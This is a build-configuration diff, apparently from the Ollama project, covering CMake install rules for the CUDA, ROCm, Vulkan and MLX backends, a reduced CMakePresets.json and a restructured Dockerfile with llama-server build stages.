if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
|
||||
set(CMAKE_CUDA_ARCHITECTURES "native")
|
||||
endif()
|
||||
|
||||
find_package(CUDAToolkit)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
|
||||
target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
install(TARGETS ggml-cuda
|
||||
RUNTIME_DEPENDENCIES
|
||||
DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
|
||||
PRE_INCLUDE_REGEXES cublas cublasLt cudart
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
|
||||
)
|
||||
endif()
|
||||
|
||||
set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
|
||||
CACHE STRING
|
||||
"Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
|
||||
)
|
||||
|
||||
check_language(HIP)
|
||||
if(CMAKE_HIP_COMPILER)
|
||||
set(HIP_PLATFORM "amd")
|
||||
|
||||
if(NOT AMDGPU_TARGETS)
|
||||
find_package(hip REQUIRED)
|
||||
list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
|
||||
endif()
|
||||
|
||||
if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
|
||||
list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
|
||||
endif()
|
||||
|
||||
if(AMDGPU_TARGETS)
|
||||
find_package(hip REQUIRED)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
|
||||
target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
|
||||
if (WIN32)
|
||||
target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
|
||||
endif()
|
||||
|
||||
target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
|
||||
|
||||
install(TARGETS ggml-hip
|
||||
RUNTIME_DEPENDENCY_SET rocm
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
)
|
||||
install(RUNTIME_DEPENDENCY_SET rocm
|
||||
DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
|
||||
PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
POST_EXCLUDE_REGEXES "system32"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
)
|
||||
|
||||
foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
|
||||
if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
|
||||
install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(NOT APPLE)
|
||||
find_package(Vulkan)
|
||||
if(Vulkan_FOUND)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
|
||||
target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
install(TARGETS ggml-vulkan
|
||||
RUNTIME_DEPENDENCIES
|
||||
PRE_INCLUDE_REGEXES vulkan
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
option(MLX_ENGINE "Enable MLX backend" OFF)
|
||||
if(MLX_ENGINE)
|
||||
message(STATUS "Setting up MLX (this takes a while...)")
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
|
||||
|
||||
# Find CUDA toolkit if MLX is built with CUDA support
|
||||
find_package(CUDAToolkit)
|
||||
|
||||
# Build list of directories for runtime dependency resolution
|
||||
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
|
||||
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
|
||||
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
|
||||
if(DEFINED ENV{CUDNN_ROOT_DIR})
|
||||
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
|
||||
file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
|
||||
endif()
|
||||
# Add build output directory and MLX dependency build directories
|
||||
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
|
||||
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
|
||||
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
|
||||
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
|
||||
# so there is no runtime dependency. This path covers the stub build dir
|
||||
# for windows so we include the DLL in our dependencies.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
|
||||
|
||||
# Base regexes for runtime dependencies (cross-platform)
|
||||
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
|
||||
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
|
||||
if(WIN32)
|
||||
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
|
||||
endif()
|
||||
|
||||
install(TARGETS mlx mlxc
|
||||
RUNTIME_DEPENDENCIES
|
||||
DIRECTORIES ${MLX_RUNTIME_DIRS}
|
||||
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
|
||||
# Install the Metal library for macOS arm64 (must be colocated with the binary)
|
||||
# Metal backend is only built for arm64, not x86_64
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install headers for NVRTC JIT compilation at runtime.
|
||||
# MLX's own install rules use the default component so they get skipped by
|
||||
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
|
||||
#
|
||||
# Layout:
|
||||
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ — CCCL headers
|
||||
# ${OLLAMA_INSTALL_DIR}/include/*.h — CUDA toolkit headers
|
||||
#
|
||||
# MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir()[.parent_path()] / "include" / "cccl"
|
||||
# On Linux, MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
|
||||
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
|
||||
# This will need refinement if we add multiple CUDA versions for MLX in the future.
|
||||
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
|
||||
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
if(NOT WIN32 AND NOT APPLE)
|
||||
install(CODE "
|
||||
set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
|
||||
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
|
||||
if(NOT EXISTS \${_link})
|
||||
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
|
||||
endif()
|
||||
" COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
|
||||
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
|
||||
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
|
||||
# $CUDA_PATH/include/*.h via NVRTC --include-path.
|
||||
if(CUDAToolkit_FOUND)
|
||||
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
|
||||
# (e.g. ".../include;.../include/cccl"). Find the entry that
|
||||
# contains the CUDA runtime headers we need.
|
||||
set(_cuda_inc "")
|
||||
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
|
||||
if(EXISTS "${_dir}/cuda_runtime_api.h")
|
||||
set(_cuda_inc "${_dir}")
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
if(NOT _cuda_inc)
|
||||
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
|
||||
else()
|
||||
set(_dst "${OLLAMA_INSTALL_DIR}/include")
|
||||
set(_MLX_JIT_CUDA_HEADERS
|
||||
builtin_types.h
|
||||
cooperative_groups.h
|
||||
cuda_bf16.h
|
||||
cuda_bf16.hpp
|
||||
cuda_device_runtime_api.h
|
||||
cuda_fp16.h
|
||||
cuda_fp16.hpp
|
||||
cuda_fp8.h
|
||||
cuda_fp8.hpp
|
||||
cuda_runtime_api.h
|
||||
device_types.h
|
||||
driver_types.h
|
||||
math_constants.h
|
||||
surface_types.h
|
||||
texture_types.h
|
||||
vector_functions.h
|
||||
vector_functions.hpp
|
||||
vector_types.h
|
||||
)
|
||||
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
|
||||
install(FILES "${_cuda_inc}/${_hdr}"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX)
|
||||
endforeach()
|
||||
# Subdirectory headers
|
||||
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX
|
||||
FILES_MATCHING PATTERN "*.h")
|
||||
install(FILES "${_cuda_inc}/crt/host_defines.h"
|
||||
DESTINATION "${_dst}/crt"
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
|
||||
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
|
||||
# dlfcn-win32 is a known CMake target with its own install rules (which install
|
||||
# to the wrong destination). We must install it explicitly here.
|
||||
if(WIN32)
|
||||
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Manually install CUDA runtime libraries that MLX loads via dlopen
|
||||
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
|
||||
if(CUDAToolkit_FOUND)
|
||||
file(GLOB MLX_CUDA_LIBS
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
|
||||
if(MLX_CUDA_LIBS)
|
||||
install(FILES ${MLX_CUDA_LIBS}
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
|
||||
set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
|
||||
else()
|
||||
set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
|
||||
endif()
|
||||
include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)
|
||||
+5
-169
@@ -11,109 +11,10 @@
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CPU",
|
||||
"inherits": [ "Default" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA",
|
||||
"inherits": [ "Default" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA 11",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
|
||||
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v11"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CUDA 12",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
|
||||
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v12"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "CUDA 13",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
|
||||
"CMAKE_CUDA_FLAGS": "-t 4",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_v13"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "JetPack 5",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "72;87",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_jetpack5"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "JetPack 6",
|
||||
"inherits": [ "CUDA" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_ARCHITECTURES": "87",
|
||||
"OLLAMA_RUNNER_DIR": "cuda_jetpack6"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm",
|
||||
"name": "MLX Metal",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_PLATFORM": "amd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm 6",
|
||||
"inherits": [ "ROCm" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
|
||||
"AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
|
||||
"OLLAMA_RUNNER_DIR": "rocm"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "ROCm 7",
|
||||
"inherits": [ "ROCm" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
|
||||
"AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
|
||||
"OLLAMA_RUNNER_DIR": "rocm"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "Vulkan",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_RUNNER_DIR": "vulkan"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX",
|
||||
"inherits": [ "Default" ],
|
||||
"cacheVariables": {
|
||||
"MLX_ENGINE": "ON",
|
||||
"OLLAMA_RUNNER_DIR": "mlx"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 12",
|
||||
"inherits": [ "MLX", "CUDA 12" ],
|
||||
"cacheVariables": {
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 13",
|
||||
"inherits": [ "MLX", "CUDA 13" ],
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "86;89;90;90a;100;103;75-virtual;80-virtual;110-virtual;120-virtual;121-virtual",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
|
||||
"OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
|
||||
}
|
||||
}
|
||||
],
|
||||
@@ -124,74 +25,9 @@
|
||||
"configuration": "Release"
|
||||
},
|
||||
{
|
||||
"name": "CPU",
|
||||
"configurePreset": "Default",
|
||||
"targets": [ "ggml-cpu" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA",
|
||||
"configurePreset": "CUDA",
|
||||
"targets": [ "ggml-cuda" ]
|
||||
},
|
||||
{
|
||||
"name": "CUDA 11",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 11"
|
||||
},
|
||||
{
|
||||
"name": "CUDA 12",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 12"
|
||||
},
|
||||
{
|
||||
"name": "CUDA 13",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "CUDA 13"
|
||||
},
|
||||
{
|
||||
"name": "JetPack 5",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "JetPack 5"
|
||||
},
|
||||
{
|
||||
"name": "JetPack 6",
|
||||
"inherits": [ "CUDA" ],
|
||||
"configurePreset": "JetPack 6"
|
||||
},
|
||||
{
|
||||
"name": "ROCm",
|
||||
"configurePreset": "ROCm",
|
||||
"targets": [ "ggml-hip" ]
|
||||
},
|
||||
{
|
||||
"name": "ROCm 6",
|
||||
"inherits": [ "ROCm" ],
|
||||
"configurePreset": "ROCm 6"
|
||||
},
|
||||
{
|
||||
"name": "ROCm 7",
|
||||
"inherits": [ "ROCm" ],
|
||||
"configurePreset": "ROCm 7"
|
||||
},
|
||||
{
|
||||
"name": "Vulkan",
|
||||
"targets": [ "ggml-vulkan" ],
|
||||
"configurePreset": "Vulkan"
|
||||
},
|
||||
{
|
||||
"name": "MLX",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX"
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 12",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX CUDA 12"
|
||||
},
|
||||
{
|
||||
"name": "MLX CUDA 13",
|
||||
"targets": [ "mlx", "mlxc" ],
|
||||
"configurePreset": "MLX CUDA 13"
|
||||
"name": "MLX Metal",
|
||||
"targets": [ "ollama-mlx-backends" ],
|
||||
"configurePreset": "MLX Metal"
|
||||
}
|
||||
]
|
||||
}
|
||||
+189
-98
@@ -37,113 +37,171 @@ RUN dnf install -y unzip \
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
ENV LDFLAGS=-s
|
||||
|
||||
FROM base AS cpu
|
||||
#
|
||||
# GPU toolchain stages — provide compilers for llama-server GPU builds
|
||||
#
|
||||
|
||||
FROM base AS cpu-deps
|
||||
RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
|
||||
ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CPU' \
|
||||
&& cmake --build --preset 'CPU' -- -l $(nproc) \
|
||||
&& cmake --install build --component CPU --strip
|
||||
|
||||
FROM base AS cuda-11
|
||||
ARG CUDA11VERSION=11.8
|
||||
RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-11/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 11' \
|
||||
&& cmake --build --preset 'CUDA 11' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS cuda-12
|
||||
FROM base AS cuda-12-deps
|
||||
ARG CUDA12VERSION=12.8
|
||||
RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-12/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 12' \
|
||||
&& cmake --build --preset 'CUDA 12' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
|
||||
FROM base AS cuda-13
|
||||
FROM base AS cuda-13-deps
|
||||
ARG CUDA13VERSION=13.0
|
||||
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
|
||||
ENV PATH=/usr/local/cuda-13/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'CUDA 13' \
|
||||
&& cmake --build --preset 'CUDA 13' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS rocm-7-deps
|
||||
ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
|
||||
|
||||
FROM base AS rocm-7
|
||||
ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'ROCm 7' \
|
||||
&& cmake --build --preset 'ROCm 7' -- -l $(nproc) \
|
||||
&& cmake --install build --component HIP --strip
|
||||
RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'JetPack 5' \
|
||||
&& cmake --build --preset 'JetPack 5' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'JetPack 6' \
|
||||
&& cmake --build --preset 'JetPack 6' -- -l $(nproc) \
|
||||
&& cmake --install build --component CUDA --strip
|
||||
|
||||
FROM base AS vulkan
|
||||
FROM base AS vulkan-deps
|
||||
ARG VULKANVERSION
|
||||
RUN ln -s /usr/bin/python3 /usr/bin/python \
|
||||
&& wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
|
||||
&& tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
|
||||
&& /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
|
||||
&& cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
|
||||
&& rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
ENV VULKAN_SDK=/usr/local
|
||||
|
||||
#
|
||||
# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
|
||||
#
|
||||
# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
|
||||
# GPU stages: GPU backend .so only → lib/ollama/<variant>/
|
||||
#
|
||||
|
||||
FROM cpu-deps AS llama-server-cpu
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake --preset 'Vulkan' \
|
||||
&& cmake --build --preset 'Vulkan' -- -l $(nproc) \
|
||||
&& cmake --install build --component Vulkan --strip
|
||||
cmake -S llama/server --preset cpu \
|
||||
&& cmake --build build/llama-server-cpu -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cpu --component llama-server --strip \
|
||||
&& for lib in \
|
||||
/usr/lib64/libgomp.so* \
|
||||
/usr/lib64/libomp.so* \
|
||||
/opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
|
||||
/opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
|
||||
[ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
|
||||
done
|
||||
|
||||
FROM scratch AS publish-llama-server-cpu
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM cuda-12-deps AS llama-server-cuda_v12
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_v12_linux \
|
||||
&& cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_v12 --component llama-server --strip
|
||||
|
||||
